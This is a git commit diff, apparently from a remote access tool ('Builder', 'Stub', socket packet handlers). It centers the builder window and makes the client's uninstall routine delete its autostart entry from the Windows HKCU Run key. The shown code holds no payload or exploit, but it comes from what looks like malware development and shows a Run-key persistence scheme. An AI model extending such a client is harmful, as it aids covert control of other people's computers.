Update Stub
fix uninstall feature
This commit is contained in:
parent
ed59bc3449
commit
747d31611e
@ -200,6 +200,7 @@
|
||||
this.Controls.Add(this.button1);
|
||||
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
|
||||
this.Name = "Builder";
|
||||
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
|
||||
this.Text = "Builder";
|
||||
this.Load += new System.EventHandler(this.Builder_Load);
|
||||
this.groupBox1.ResumeLayout(false);
|
||||
|
Binary file not shown.
@ -1,6 +1,7 @@
|
||||
using Client.Helper;
|
||||
using Client.MessagePack;
|
||||
using Client.Sockets;
|
||||
using Microsoft.Win32;
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
@ -222,6 +223,14 @@ namespace Client.Handle_Packet
|
||||
|
||||
private static void Uninstall()
|
||||
{
|
||||
if (Convert.ToBoolean(Settings.Install))
|
||||
{
|
||||
try
|
||||
{
|
||||
Registry.CurrentUser.CreateSubKey(@"Software\Microsoft\Windows\CurrentVersion\Run\").DeleteValue(Path.GetFileName(Settings.ClientFullPath));
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
ProcessStartInfo Del = null;
|
||||
try
|
||||
{
|
||||
|
Loading…
x
Reference in New Issue
Block a user